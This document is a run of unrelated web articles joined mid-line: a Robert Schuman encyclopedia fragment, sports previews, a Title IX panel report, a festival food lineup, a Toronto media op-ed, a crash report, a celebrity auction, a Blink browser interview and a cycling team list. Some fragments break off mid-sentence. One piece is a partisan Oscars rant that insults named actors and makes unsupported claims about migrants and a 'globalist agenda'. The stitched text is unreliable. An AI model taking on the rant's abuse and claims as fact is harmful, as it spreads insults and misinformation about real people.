The European University Institute in Florence, Italy, is home to the Robert Schuman Centre for Advanced Studies (RSCAS), focusing on "inter-disciplinary, comparative, and policy research on the major issues on the European integration process".[19]
The Robert Schuman Institute in Budapest, Hungary, a European level training institution of the European People's Party family is dedicated to promoting the idea of a united Europe, supporting and the process of democratic transformation in Central, Eastern and South Eastern Europe and the development of Christian Democratic and centre right political parties also bears the name of Robert Schuman.
In 1965, the Robert Schuman Mittelschule in the St. Mang suburb of the city of Kempten in southern Bavaria was named after him.[20]
Governments [ edit ]
First ministry (24 November 1947 – 26 July 1948) [ edit ]
Changes:
12 February 1948 – Édouard Depreux succeeds Naegelen as Minister of National Education.
Second ministry (5–11 September 1948) [ edit ]
See also [ edit ]
References [ edit ]
Further reading [ edit ]Last Season: 20-14, 9-9 Big Ten
This offseason for the Hoosiers has played out like a bad soap opera -- starting with the player dismissals. Hanner Mosquera-Perea, Emmitt Holt and Devin Davis could not stay out of mischief off the court and, fair or not, this has led more questioning of coach Tom Crean's control of the program.
Crean himself still can't escape the speculation over his future in Bloomington, which seems certain to intensify if the Hoosiers don't live up to expectations.
Indiana returns four starters, led by senior point guard Yogi Ferrell. He's a major reason why the Hoosiers possessed one of the most electric offenses in college basketball. They should only get better with the addition of 6-foot-10 freshman Thomas Bryant, who will bring a post presence Indiana lacked last season. Scoring won't be a problem. Stopping teams might be. The key to the season could be if the Hoosiers can improve defensively, where they ranked 214th nationally and last in the Big Ten in adjusted defense, according to Ken Pomeroy. -- C.L. Brown
Best Case: No team in America is more fun to watch than Indiana on the offensive end. The Hoosiers ranked 12th in the nation in offensive rating last season, led by one of the best backcourts in the country in Yogi Ferrell and James Blackmon. If Troy Williams takes off, and his athletic ability suggests he can take off, and Nick Zeisloft continues to shoot it so well, Indiana can score against any defense. IU shot 40.6 percent on 3-pointers last season, sixth in the country. Thomas Bryant will allow Indiana the ability to take more chances defensively and block or change shots that last year went in. If Indiana defends at a higher level, there is no reason to believe the Hoosiers cannot compete into the second weekend of the NCAA tournament.
James Blackmon Patrick Gorski/CSM
Worst Case: Indiana scores at will, and gets scored upon at will, and exits early from the NCAA tournament. Last season, Indiana gave up 45 percent shooting from the field and had no advantage from the free throw line, taking exactly the same amount of free throw attempts as its opponents.
"The Hoosiers should be really good this year. They just need to keep it simple. There's pressure on Crean, but they are one of the top two or three teams in the league. They will be able to score enough points, but the key will be on the defensive end. They got bigger with [Michigan transfer Max] Bielfeldt and Bryant. Those guys should be able to hold other teams from simply dominating the glass."At a panel Thursday discussing campus sexual assault and due process, the general counsel for Georgetown University lamented the constantly changing rules being forced on colleges and universities by Congress and the Obama administration.
"Part of what is hard, honestly, as an institution, is the playing field changes with every OCR resolution," Lisa Brown, who is also the university's vice president, said at a panel put together by the American Constitution Society. "You implement the 'Dear Colleague' letter, then you have the [Violence Against Women Act] reauthorization, then you have [Office for Civil Rights'] Q&A and then you have the White House task force report and you have all these resolution agreements."
The onslaught of government regulations started in 2011 with the Department of Education's Office for Civil Rights' "Dear Colleague" letter, which reinterpreted Title IX of the Education Amendments of 1972 to classify sexual misconduct as a form of discrimination.
In 2013, after a lengthy battle in Congress, President Obama signed a reauthorization of VAWA, which also added new rules for colleges and universities in regards to Title IX.
Then in April 2014, OCR issued a question-and-answer document regarding Title IX that further clarified the requirements schools must follow in adjudicating sexual assault. At the same time, the White House Task Force created a year earlier by Obama issued its first report with additional requirements.
"We are trying so hard to get it right for students and you have constantly these things coming in," Brown said.
It's understandable that colleges and universities would have trouble providing a fair process when these documents present a bias against the accused student and require additional resources be spent on training administrators and providing services for accusers.
It also is a reminder that the system set up to adjudicate sexual assault is grossly inadequate. Without a clear, single idea out of the federal government, schools are going to continue the current process of caring more about their reputation than their students.For the third year in a row, Graham Elliot, along with Merlin Verrier, has pulled together an interesting selection of restaurants that represent the Chicago dining scene—from the low-brow to the high-end—for the approximately 90,000 music fans each day at Lollapalooza.
For Chow Town 2012, a few of the players from the last two years, like the ever-popular Kuma's Corner, Grahamwich, Franks N Dawgs, The Smoke Daddy, Wow Bao, Lou Malnati's, Goose Island Brewpub, Connie's Pizza, Robinson's No. 1 Ribs, Burrito Beach and more, will return. Some of the new spots may surprise you, but as Elliot said, "It's more ethnically diverse and there's also a larger scope of different style restaurants from food trucks to Michelin-starred chefs [while] still having that Chicago presence."
New restaurants, chefs and vendors joining Chow Town, which will once again be set up in north and south sections of Columbus Drive, include Jose Garces and Mercat a la Planxa, former Sixteen chef Frank Brunacci and his new company The Australian Truffle, Gibsons Restaurant Group, MBurger, Chizakaya, Kamehachi, Edzo's Burger Shop, Chubby Wieners, MasterChef competitor Suzy Singh's food truck Suzy Samosas, Homemade Pizza Company, La Colombe Torrefaction Coffee Bar, Lagniappe—a Creole/Cajun Joint, Peeled, Timothy O'Toole's Pub and more.
While the list does reflect a number of new places, Elliot compares the Chow Town lineup to that of the Lolla lineup, which changes from year to year. But ultimately, the they try to gather a group of restaurants that not only represent Chicago, but also gets places involved that mesh with the Lolla philosophy and that want to do it for the fun and exposure.
"The whole idea is [getting] people who can celebrate music and the relationship with food," Elliot said. "This isn't the Tatse of Chicago where people expect to go into it making a killing. When we talk with the restaurants we try to get the point across that it's about the music and that they'll be in front of 300,000 people."
In the past, some restaurants have presented food that wasn't music-festival-crowd friendly. This year, Elliot again recommends to newcomers they do what they do best, but still keep it simple and make it accessible to the masses. "Our first year we did buffalo chicken with beer bubbles and blue cheese and sold five of them," he said. "But then you deep fry lobster on a stick and you sell 15,000."
Elliot is referring to his lobster corn dogs, a now-signature Lolla item, which they'll sell again at the Grahamwich booth along with truffle popcorn. In addition, Elliot may do a VIP pop-up with The Roots drummer Questlove, with whom he recently announced a partnership called "?uest Loves Food" Powered by Chef Graham Elliot. Last year, Elliot and his team prepared dinners for a number of the headliners and other bands at Lollapalooza; this year they'll likely do the same and may draw in Questo for the party.
In addition to the main Chow Town vending areas, the festival will again host the Lolla Farmers Market, which will include booths by Seedling Fruit, Brunkow Cheese, Rock 'n' Roll Noodle Company, Tiny Greens Organic Farm, Puffs of Doom food truck, River Valley Kitchens and more.
The full Lollapalooza Chow Town 2012 Lineup:
· Ashyana Catering Featuring Chef Suzy Singh
· B Kuhl Dogs
· Bacino's
· BJ's Market & Bakery
· Brunkow Cheese
· Burrito Beach
· Chizakaya
· Chubby Wieners
· Connie's Pizza
· Edzo's Burger Shop
· Franks 'n' Dawgs
· Fresh Squeezed Best Lemonade
· Goose Island Brewpub
· Grahamwich
· Greater > Than
· Harris Ice
· Homemade Pizza Company
· Kamehachi
· Kuma's Corner
· La Colombe Torrefaction Coffe Bar & Roasters
· Lagniappe-A Creole Cajun Joynt
· Lou Malnati's Pizzeria
· MBurger
· Mercat a la Planxa
· Old Towne Smokehouse
· Original Rainbow Cone
· Peeled
· Puffs of Doom
· River Valley Kitchens
· Robinson's No. 1 Ribs
· Rock 'n Roll Noodle Company
· Sausage Haus
· Seedling
· Sweet Leaf Tea
· The Australian Truffle
· The Gibsons Restaurant Group
· The Smoke Daddy
· Timothy O'Toole's Pub Chicago
· Tiny Greens Organic Farm
· Windsor Ice Cream Shoppe
· Wow Bao - Hot Asian Buns
· Graham Elliot, Questlove Partner on "?uest Loves Food" [~EChi~]
· Graham Elliot Created "Michelin-Starred" Pop-Up for Bands, Celebs at Lollapalooza [~EChi~]politics Speaking Lies for Power
How Toronto's dailies are failing their readers, and failing to hold politicians to account.
It’s touching that people were so shocked about the latest journalistic crime committed by the increasingly tawdry Globe and Mail. Despite all the evidence of the newspaper industry’s massive collapse, concerned citizens remain earnestly naive about the principles it purports to uphold and the importance it once enjoyed.
That’s sweet, but it’s time to get real. Among the many groups discredited by the recent provincial election—including conservative ideologues and pollsters of every stripe—Toronto newspapers surely rank high.
Before the vote, the Ontario Progressive Conservatives had lost 91 of the 92 seats they contested in Toronto this century. During the vote, they lost that one seat due to a campaign even more inept and anti-urban than their usual efforts. And yet three of the four major Toronto dailies endorsed them.
How could they be so far out of touch with their own readers? How is it that our own newspapers no longer even try to represent us?
The best answer yet was provided by a Globe insider who leaked the ugly truth behind that paper’s notably tortured and ridiculous endorsement to Jesse Brown’s Canadaland podcast.
It’s actually funny when you consider the effort the Globe made to pump up its endorsement into some kind of momentous event, trying to create suspense with no fewer than three lead-up articles of bumbling and stumbling tergiversation. A portentous Facebook post promised the great ta-da! at noon on Friday, June 6. Except, as the insider pointed out (backed by helpfully cached internet evidence), no endorsement appeared for another two hours and forty minutes.
What did happen during that time, the insider told Canadaland, was an ignoble scurry in which Globe editor David Walmsley informed his editorialists that the paper’s ownership had demanded they rewrite their tepid endorsement of Kathleen Wynne in favour of Tim Hudak, the people’s choice.
The tortured, mealy-mouthed editorial that ultimately appeared, absurdly recommending that voters elect a minority Hudak government—as if that were a choice on the ballot—outraged readers sufficiently that editor Walmsley felt obliged to broadcast a defence. Slavishly doing last-minute political dirty work for billionaires, he would have us believe, is “a significant process that’s quite sophisticated.”
Say what you will about the Toronto Sun, at least it’s consistent. The Sun‘s post-election front-page splash—“Welcome to HELL”—was a direct copy of its 2011 post-election front-page splash. Such are the synergies that result when the sole purpose of your once-popular publication is the passing whim of a billionaire separatist politician from Quebec. There’s a political pretzel to stretch the imagination. The result is a newspaper from another planet, slowly dying.
As for that other reliable, voice-of-the-people organ, the National Post, it wouldn’t exist were it not for its usefulness as ideological armament for the ruling class. There was never a credible business case for it in the first place—it was conceived as Conrad Black’s political cudgel—and it has only ever lost money. Yet it mysteriously persists—for the sole purpose, it would seem, of hectoring progressive voters who represent the vast majority of potential newspaper readers in the city and the province. And who, not surprisingly, ignore the National Post.
But attracting readers is no longer the point with these publications. It’s all about thumping the tub for the Man.
The irony is that newspapers gained their greatest integrity and authority when they were most profitable. As long as a paper could return 20-per-cent profit margins on a routine basis, as most could throughout the late 20th century, few of their owners much cared what the editors and reporters got up to. Thus were born what we call “journalistic principles”—and as profits have disappeared, so have they. The more you hear about such things today—and you hear about them a lot, generally from the mouths of the biggest sellouts—the less they mean.
In this particular hypocrisy again the Globe excels, as made clear in a current management proposal to turn every one of its reporters into a “content creator” for hire to advertisers. The scheme is outlined in a bizarre memo, also leaked to Canadaland, that delineates three different classifications of journalistic whoring and outlines a complicated set of sanitary procedures “content creators” must undergo to prevent infection—all depending on how intimate the encounter is expected to be. And all in the name of “protecting the Globe’s brand—its integrity and the integrity of its employees.”
It’s hard to know which is worse—the abject surrender of editorial independence or the delusion that it can survive in such sorry circumstances. They’re inviting the Devil into the newsroom and expecting to keep him in line with chalk marks on the floor.
As someone who spent most of his career at the Globe, it pains me deeply now to say, “Thank God for the Toronto Star.” It is the only mainstream, progressive voice left in our progressive city. Not by mere coincidence, it is also the only newspaper still doing damn-the-consequences public-interest reporting, as opposed to the lame, fish-in-a-barrel “investigations” the Globe is proffering under Walmsley. The fact that the Star won this year’s prestigious Michener Award for its aggressive pursuit of Rob Ford assures us that all is not yet rotten in daily newspapers—that somebody, somewhere still knows the real thing when they see it.
Think where we’d be if the last of the four also took orders straight from the headquarters of Capital, Inc.: staring sullenly from the sidelines as a triumphant Ford offered a grinning Hudak the keys to our city.
John Barber is a former Globe and Mail employee and occasional contributor to the Toronto Star.A mother and her three children have died after their vehicle drove off a cliff and plunged into Lucky Peak Reservoir.
The driver has been identified as Noel Voermans, 40, of Boise. The three children were Anika Voermans, 13, Logan Voermans, 11, and Gwyneth Voermans, 8.
Noel's cause of death was determined as "drowning," with the manner of death still pending.
The three children's cause of death was determined as drowning with blunt force trauma due to motor vehicle accident.
The accident was called into dispatch before 7:00 a.m. on Thursday, June 2nd.
The vehicle left the roadway and fell off a cliff located near the High Bridge on Highway 21. The Ada County Sheriff's Office estimates that the distance the vehicle fell was between 50 and 70 feet to the water.
A witness told investigators that the driver sped up before driving off the cliff and made no effort to brake or slow down.
"We do not know if it was a mechanical issue or a medical issue, or if this was in fact, an intentional act on the mother's part," Captain Borgquist said.
The bodies of the three children were recovered after the crash.
However, the body of the driver inside of the SUV was unrecoverable following the accident.
Throughout the day, recovery crews had to tow the SUV to the shore for extraction. The SUV was loaded onto a tow truck and taken away to be investigated.
Stay with Idaho On Your Side for the latest on this developing story.There’s a hoard of Vampire Diaries loyals in the world who would love to have lunch with Ian Somerhalder, and now, here’s their chance. The bonus? It’s for a very good cause.
Charitybuzz is hosting an auction that will award the highest bidder a chance to have lunch with the Vampire Diaries star in Atlanta. (Place your bid here.) All proceeds from the auction will benefit the Ian Somerhalder Foundation, and specifically go toward the organization’s plans to open up an animal sanctuary.
“A big component of ISF is not just habitat or species conservation, it’s animal protection and youth education,” the actor tells EW exclusively. “There are too many animals that are abused, mistreated, and abandoned. They’ve been ostracized, they have behavioral issues, and they’re starving. It’s just unbelievable what we’ve done to the animals, and I think that’s why this is so important.”
The auction is currently live and will run through July 18, and it will help fund the acquisition of land that Somerhalder has his eye on. The plan, he says, is to make this haven a reality “very soon.” And the big goal is to make the sanctuary a place of co-rehabilitation — benefiting both animals and troubled youth.
“If we can give animals a home, we can also take the youth of our country and our world — kids who have behavioral issues, bullying other kids, and halting the progression of those around them — and bring them together to learn compassion from one another. If you have compassion for an animal, then you’ll ultimately have compassion for another human being,” he says. “I’m so tired of the lack of compassion in our world and watching kids grow up in it. I think it’s an amazing opportunity for us to show that having compassion for one another — and all furry, scaled, or feathered creatures — is the only way we can progress.”
To his prospective bidders, Somerhalder adds: “Honestly, all I can say is thank you. I appreciate you and your generosity…. I will try not to bore you to tears.”
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The CW’s fall premiere dates revealed
10 TV Shows to Follow on TwitterDid you watch the Oscars last night? No? We didn’t either and do you want to know why? Well, for plenty of reasons down to the social justice warriors of uber rich Hollywood celebrities spreading their anti-American, anti-Trump and communist politics via an awards show that’s meant to celebrate creativity and honor those in film, for their artistic brilliance and integrity, not their paid politics or opinions. So, let’s get right into it, shall we?
Well, because of Meryl Streep’s attack on Donald Trump at the Golden Globe Awards, and now we’re very tired of her hypocritical ways, since she was even embarrassingly caught out by asking to be paid to wear Chanel, through Karl Lagerfeld out-ting her for her greedy money grabbing social justice warrior ways, yes, we’ve turned our back on you completely, Meryl, for good!
Jimmy Kimmel presented the show and he couldn’t just be a normal host and try to be funny (he isn’t funny), so his job was to try be an impartial moderate liberal leftie but couldn’t stop short of doing some thinly veiled good old-fashioned Trump bashing, even some Matt Damon bashing and even giving Meryl Streep a standing ovation and then asking if she was wearing an ‘Ivanka’ (how lame). It could have been worse, here’s Kimmel’s monologue and it wasn’t even partly funny. It’s like watching ‘Manchester by the Zzzzzz’.
Maybe, they should have got James Corden to host the Oscars, instead? That was pretty tame and many logical Trump supporters decided to boycott watching the Awards, because of people like Alec Baldwin, whose over portrayals of Donald Trump on SNL, have gone into overkill and are simply not funny, yet they never were, but were merely a social conditioning character parody, meant to play into the establishments’ globalist agenda to brainwash you into thinking that Trump is incompetent, when it’s the complete opposite, in all reality. Wake up and smell the coffee, Hollywood…
NO! We are not entertained by you and we are sick of you! We are sick of all these Hollywood celebrities and their hypocritical agendas, some even picking up large checks for spraying their left-wing communist liberal views to susceptible Hollywood loving audiences. How many refugees has Alec Baldwin taken in? How many times did he curse out his ex-wife, Kim Basinger and threaten his own daughter? Talk about a good guy… Had to put that in there.
Even though George Clooney wasn’t there, he’s the type of moron that we all like to boycott, because of his stance on migrants and refugees this passed year, until the North African migrants showed up on his doorstep in Lake Como, Italy, ever since he’s become more quiet, until last week, calling Trump a “demagogue”. What was funny was Clooney’s comments about how there was never “going to be President Donald Trump.” How many migrants and refugees will George Clooney be helping out, in any sort of way? The answer is zero. Completely zero! How much understanding or research has he done, into the social and economic problems caused by mass undocumented migrants into Europe and their subsequent crimes? None. But, he wants the same to happen in the U.S.A, right? A deluded social justice moron, worth a reported $180 million. Why don’t you take in some of those refugees into your many homes, George?
Right…What a complete assh*le! We boycott the Oscars, because of Hollywood celebrities like him. Hypocrites aren’t what we want to watch for entertainment, anymore.
Robert De Niro, who also didn’t show up at the Awards, but he’s another reason, why we boycotted watching the Oscars in 2017. Bobby, nobody forgot about your Trump bashing speech, calling Trump a “bozo” and for you encouraging of only Hillary Clinton votes. Moron! Unfortunately, all your films are now obsolete to 61 million people and counting…
“Yes” you, you Bobby, you sealed your fate. You went from a respected actor to left-wing celebrated moron in the space of a year and you did it all on your own? Apart from of course, reading from that script you were given, when you did your famous Trump bashing speech. Didn’t work, though.
Whoopi Goldberg, who had been speaking absurdities on ‘The View’ for a very long time against Trump, an out of touch, un-castable, former actress, yet another reason why people decided to boycott the Oscars, regardless if she would even garner a nomination, ever again, let alone win. The things that you have said in the last year, cannot be unsaid, lady. Like, “You can’t blame immigrants for a country’s problems”, Oh yeah? Try telling that to the people who live in Sweden and have seen its country crumble at the seams from a similar rhetoric, when all facts point to the influx of undocumented migrants and open borders, a failing socialist model.
Another champagne socialist there, limousine liberal biased views, without any justification of any truth or facts to back up any part of her claims, apart from her being greatly out of touch with the real world, like most celebrities well and truly are.
So, here’s a list of a Celebs that tried to share their Anti-Trump views and to make it stick, yet, it didn’t work out so well, did it?
The Oscars 2017 was a snore fest and the best bit was clearly when La-La-Land was momentarily given the Best Picture Award, with a mix-up of the winners envelopes, with Warren Beatty and Faye Dunaway announcing them as winners, when in all actuality, mid-way through their acceptance speech, the revelation was that the film ‘Moonlight’ had actually won ‘Best Picture’. Cue embarrassment all around and applause for also making Steve Harvey into a patron saint again, after that famous Miss Universe moment.
Here you can re-watch that official moment on the Oscars night in 2017, with the whole mess up in full H, in all it’s glory, perhaps you call it an Academy Awards karma of sorts, for all of Hollywood being biased liberal Hillary Clinton supporters and for being pro-anarchists and supporters of division of the criminal acts done by Democrats for the past 8 years.
‘Moonlight‘ were the deserved winners and we just feel bad about all the people from La-La-Land who made their winning speeches already. Classic fail and so the Oscars, had some fun things in it,after all.
We wonder what will happen over the next year in Hollywood in the year of 2017; will they ever stop trying to bash their own President, as part of the globalist elite agenda of destroying their own home country, with these divisive and looney bent liberal views supporting an Islamic influx of undocumented migrants.
We are happy that ‘Moonlight’ won Best Picture, but we are also happy that we didn’t stay up and watch this mess unfold.
Brainstain, over and out!
<Story by The Narrator>
Featured Photo Credit: entertainmentfornow
Did Emma Stone just say “f*cking love Moonlight”
Buy ‘Moonlight‘ here.In these days of digital media, it's |
a prefix.
Pinky swear?
Totes. New stuff will be available to experiment with behind a flag you can turn on in about:flags called “Experimental Web Platform Features”. When the feature is ready, it’ll graduate to Canary, and then follow its ~12 week path down through Dev Channel, Beta to all users at Stable.
The Blink prefix policy is documented and, in fact, WebKit just nailed down their prefix policy going forward. If you’re really into prefix drama (and who isn’t!) Chris Wilson and I discussed this a lot more on the Web Ahead podcast [37:20].
How long before we can try Blink out in Chrome?
Blink’s been in Chrome Canary as of the day we announced it. The codebase was 99.9% the same when Blink launched, so no need to rush out and check everything. All your sites should be pretty much the same.
Chrome 27 has the Blink engine, and that’s available on the beta channel for Win, Mac, Linux, ChromeOS and Android. (See the full beta/stable/dev/canary view).
While the internals are apt to be fairly different, will there be any radical changes to the rendering side of things in the near future?
Nothing too alarming, layout and CSS stuff is all staying the same. Grid layout is still in development, though, and our Windows text rendering has been getting a new backend that we can hook up soon, greatly boosting the quality of webfont rendering there.
We’re also interested in better taking advantage of multiple cores on machines, so the more we can move painting, layout (aka reflow), and style recalculation to a separate thread, but the faster everyone’s sites will render. We’re already doing multi-threaded painting on ChromeOS and Android, and looking into doing it on Mac & Windows. If you’re interested in these experimental efforts or watching new feature proposals, take a look at the blink-dev mailing list. A recent proposed experiment is called Oilpan, where we’ll look into the advantages of moving the implementation of Chrome’s DOM into JavaScript.
Will features added to Blink be contributed back to the WebKit project? Short term; long term?
Since Blink launched there’s been a few patches that have been landed in both Blink and WebKit, though this is expected to decline in the long-term, as the code bases will diverge.
When are we likely to start seeing Blink-powered versions of Chrome on Android? Is it even possible on iOS, or is iOS Chrome still stuck with a Safari webview due to Apple’s policies?
Blink is now in the Chrome Beta for Android. Chrome for iOS, due to platform limitations, is based on the WebKit-based WebView that’s provided by iOS.
Part of this move seems to be giving Google the freedom to remove old or disused features that have been collecting dust in WebKit for ages. There must be a few things high on that list—what are some of those things, and how can we be certain their removal won’t lead to the occasional broken website?
A few old ’n crusty things that we’re looking at removing: the isindex attribute, RangeException, and XMLHttpRequestException. Old things that have little use in the wild and just haven’t gotten a spring cleaning from the web platform for ages.
Now, we don’t want to break the web, and that’s something that web browser engineers have always been kept very aware of. We carefully gauge real-world usage of things like CSS and DOM features before deprecating anything. At Google we have a copy of the web that we run queries against, so we have a pretty OK idea of what CSS and JavaScript out there is using.
Blink also has over 32,000 tests in its test suite, and manual confirmation that over 100 sites work great before every release ships. And we’re working closely with the W3C and Adobe to share tests and testing infrastructure across browsers, with the goals of reducing maintenance burden, improving interoperability, and increasing test coverage. Eventually we’d like all new features to ship with shared conformance tests, ensuring interoperability even as we add cutting-edge stuff.
Still, any deprecation has to be done responsibly. There’s now a draft Blink process for deprecating features which includes:
Anonymous metrics to understand how much any specific feature is used “in the wild”
”Intent to deprecate” emails that hit blink-dev months before anything is removed
Warnings that you’ll find in your DevTools console if you’re using anything deprecated
Mentions on the Chromium blog like this Chrome 27 wrap-up.
Did part of the decision to branch away from WebKit involve resistance to adding a Dart VM? WebKit’s goals explicitly mention JavaScript, and Apple representatives have been fairly vocal about not seeing a need.
Nope, not at all. The decision was made by the core web platform engineers. Introducing a new VM to a browser introduces considerable maintenance cost (we saw this with V8 and JavaScriptCore both in WebKit) and right now Dart isn’t yet ready to be considered for an integration with Blink. (more on that in a sec). Blink’s got strong principles around compatibility risk and this guides a lot of the decisions around our commitments to potential features as they are proposed. You can hear a more complete answer here from Darin Fisher, one of the Chrome web platform leads.
Have any non-WebKit browsers recently expressed an interest in Dart? A scripting language that only stands to work in one browser sounds a little VBScript-y.
Not yet, but since Dart compiles to JavaScript and runs across the modern web, it’s not gated by other browsers integrating the VM. But it’s still early days, Dart has not yet reached a stable 1.0 milestone and that there are still technical challenges with the Dart VM around performance and memory management. Still, It’s important to point out that Dart is an open source project, with a bunch of external contributors and committers.
Let me take a moment to provide my own perspective on Dart. :) Now, as you know, I’m a JavaScript guy, so early on, I took a side and and considered Dart an enemy. JavaScript should win; Dart is bad! But then I came to realize the Dart guys aren’t just setting out to improve the authoring and scalability of web application development. They also really want the web to win. Now I’ve recently spoke about how The Mobile Web Is In Trouble, and clarified that my priorities are seeing it provide a fantastic user experience to everyone. For me, seeing the mobile web be successful trumps language wars and certainly quibbling over syntax. So I’m happy to see developers embrace the authoring advantages of Coffeescript, the smart subset of JavaScript strict mode, the legendary Emscripten & asm.js combo, the compiler feedback of TypeScript and the performance ambitions of Dart. It’s worth trying out technologies that can leapfrog the current expectations of the user experience that we can deliver. Our web is worth it.
Will Opera be using the Chromium version of Blink wholesale, as far as you know? Are we likely to see some divergence between Opera and Chrome?
As I understand it, Opera Mobile, Opera Desktop, and Opera Mini will all be based on Chromium. This means that they’ll not only share the exact version of Blink that Chrome uses, but also the same graphics stack, JavaScript engine, and networking stack. Already, Opera has contributed some great things to Blink and we’re excited about what’s next.
Why the name “Blink,” anyway?
Haha. Well… it’s a two parter. First, Blink evokes a certain feeling of speed and simplicity—two core principles of Chrome. Then, Chrome has a little tradition of slightly ironic names. Chrome itself is all about minimizing the browser chrome, and the Chromebook Pixel is all about not seeing any pixels at all. So naturally, it fits that Blink will never support the infamous <blink> tag. ;)
<3z
Recently by Mat Marquis JavaScript for Web Designers: DOM Scripting In an excerpt from JavaScript for Web Designers, Mat Marquis talks about the power and purpose of the DOM. The December 6th event recap Web Typography & Layout: Past, Present, and Future Can typography encourage long-form reading—not just scanning? What are the most exciting areas of cutting-edge experimentation in typographic technology and digital layout, and what new skills will we need to design tomorrow’s web content? Three experts—Mozilla’s Jen Simmons, publication design legend Roger Black, and ALA’s Jeffrey Zeldman—discuss typography and layout on today’s web: where we are now, and where we’re going.
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Michael Saunders isn’t one of the flashier names in this year’s free agent class, but that doesn’t mean that he will not be an important contributor to a competitive team in 2017.
Saunders is coming off of the best year of his career. The 29 year old outfielder cooled off a bit in the second half, but he socked 24 home runs and hit.253 en route to his first All Star game as a member of the Blue Jays.
Saunders, a former Mariners 11th round pick, can handle both corner outfield spots and did a lot to dispel the notion that he struggles mightily against left handed pitching over the last 8 months: in 2016 he put up a.927 OPS and 8 homers against lefties.
That said, he’s a.235 lifetime hitter, who has never had more that 57 RBIs in a season and had never hit more than 19 homers before 2016. He is no longer a stolen base threat (he stole 21 in 2012), and has never produced more than 2.4 WAR in a season. He also missed most of 2014 and nearly all of 2015 with injuries.
So what are you getting if you sign Michael Saunders this winter? Well, you’re getting a chance – a chance at some serious outfield power numbers (via both homers and doubles), a halfway decent OBP, and a pretty consistent everyday player for the lower half of your lineup at likely a pretty decent price.
Of course, I’m speculating on how much it would take to sign Saunders but given his lack of established track record and the fact that he’s not the caliber of player that Josh Reddick. Still, I think something in the neighborhood of roughly half of the AAV that Reddick received is in the right ball park. Reddick got about $13 million a year so I’m thinking 3 years, $20 million for Michael Saunders this winter.
The question, then, is where would he be a value for $20M? There’s lots of conjecture about Michael fitting in well back in Toronto, or in Baltimore as a replacement for Mark Trumbo’s bat, or even in Seattle to help push their offense over the line.
Those guesses are uninspired, though. He’s already played for both Seattle and Toronto, so I think he’s going somewhere new. Saunders fits best in San Francisco and Philadelphia. Hear me out:
San Francisco Giants:
The Giants badly need offense and they might not have the money to go get it.
San Fran’s offense has always been a bit of a struggle, despite Buster Posey in the middle of it all. Hunter Pence hasn’t stayed healthy and Brandon Belt and Joe Panik haven’t been all that consistent.
Ideally, the Giants would love to go shopping for a superstar to play left field, where they currently have a pretty big hole. However, after a $200 million shopping spree last winter netted them Johnny Cueto and Jeff Samardzija but no back-end bullpen help to speak of, the Giants may be forced to spend the majority of their resources into relief pitching.
That means a guy like Saunders, who won’t break the bank but could give the Giants 20ish homers and 35ish doubles out of the 5 or 6 spot in the order might just be the right fit.
Philadelphia Phillies
Ok, admittedly this one is a little outside the box, but I think the Phillies might just be the ‘mystery team’ du jour in the Saunders Sweepstakes.
Sure, Philly isn’t exactly close to contention, but Saunders isn’t exactly old at 29 and if Philadelphia wants to overpay just a little for a veteran outfielder, this arrangement could make everybody happy.
The Phils have some disposable income: they are no longer saddled with the contracts of Ryan Howard or Carlos Ruiz and have recently shed other mega deals such as Jonathon Papelbon’s, Chase Utley’s, Jimmy Rollins’, and Cole Hamels‘ over the last few years.
At the same time, they need some outfield help. Odubel Herrera is great but Cody Ashe, Roman Quinn, and Aaron Altherr all struggled in their limited time last season. The Phillies do not have a corner outfielder currently qualified to start at a corner outfield spot every day for a major league team. Their minor league prospects who tore it up this year could use some seasoning in a normal ballpark.
With Saunders, they could continue to develop their young talent without completely destabilizing their entire lineup, or breaking the bank. Saunders would be a middle of the order bat that could help mentor some of the up and comers.
What’s more, if he plays well, or even if he doesn’t, Saunders would be a valuable trade chip this summer or next summer that could help net the Phillies a decent prospect haul.
Aside from Jeremy Hellickson and his $17.2 million one-year deal, Pat Neshek is the highest paid Philly and he’s only making $6.5 million this season. This team has the financial room to take a little risk that could really pay off.
-Max FrankelPeloton of 208 riders to start after Katusha gains WorldTour status
Flanders Classics, the organiser of the Ronde van Vlaanderen, has confirmed that there will be be 26 teams on the race’s start line in Brugge, on March 31st, which will be one more than usual. The decision of the Court for Arbitration in Sport (CAS) to award Russian team Katusha its place in the International Cycling Union (UCI) WorldTour means that there are 19 ProTeams for 2013, but Flanders Classics has kept to the promise that it previously made to seven Professional Continental teams.
The presence of one more team than usual in Vlaanderens Mooiste means that the peloton will number 208 riders this year, which is eight more than the limit imposed by UCI regulations.
Following the example of ASO - in the invitations to its Belgian Classics la Flèche Wallonne and Liège-Bastogne-Liège - Flanders Classics has invited all three Belgian Professional Continental teams, in Accent.Jobs-Wanty, Crelan-Euphony, and Topsport Vlaanderen-Baloise.
The French Team Europcar, whose leader Thomas Voeckler finished eighth in last years edition of the Ronde [and also won the Flanders Classics organised Brabantse Pijl the following week - ed] has taken the fourth invitation, while Italian team Vini Fantini-Selle Italia has been awarded the fifth. As Farnese Vini-Selle Italia last year, the giallo fluo team was home to second place Filippo Pozzato but, while the former Italian champion has moved to Lampre-Merida this season, the team still boasts riders like ever-aggressive Belgian Kevin Hulsmans.
The final two invitations have been awarded to German team NetApp-Endure - which rode last years edition as Team NetApp - and Swiss team IAM Cycling, which includes former Flanders runner-up Heinrich Haussler in its strong Classics line up.
The centenary edition of the Ronde van Vlaanderen - which will be its 97th running - will follow a similar course to 2012, which saw the third victory of Tom Boonen (Omega Pharma-Quick Step). It will once again take in three decreasing laps of circuits based on the climbs of the Oude Kwaremont and Paterberg, before finishing in the town of Oudenaarde.
Teams for 2013 Ronde van Vlaanderen (WT)
19 ProTeams (automatically invited)
AG2R La Mondiale (Fra)
Astana Pro Team (Kaz)
Blanco Pro Cycling (Ned)
BMC Racing Team (USA)
Cannondale Pro Cycling (Ita)
Euskaltel-Euskadi (Spa)
FDJ (Fra)
Garmin-Sharp (USA)
Katusha Team (Rus)
Lampre-Merida (Ita)
Lotto-Belisol (Bel)
Movistar Team (Spa)
Omega Pharma-Quick Step (Bel)
Orica-GreenEdge (Aus)
RadioShack-Leopard (Lux)
Sky Procycling (GBr)
Team Argos-Shimano (Ned)
Team Saxo-Tinkoff (Den)
Vacansoleil-DCM (Ned)
7 Professional Continental Teams (wildcards)
Accent.Jobs-Wanty (Bel)
Crelan-Euphony (Bel)
Topsport Vlaanderen-Baloise (Bel)
Team Europcar (Fra)
Vini Fantini-Selle Italia (Ita)
Team NetApp-Endura (Ger)
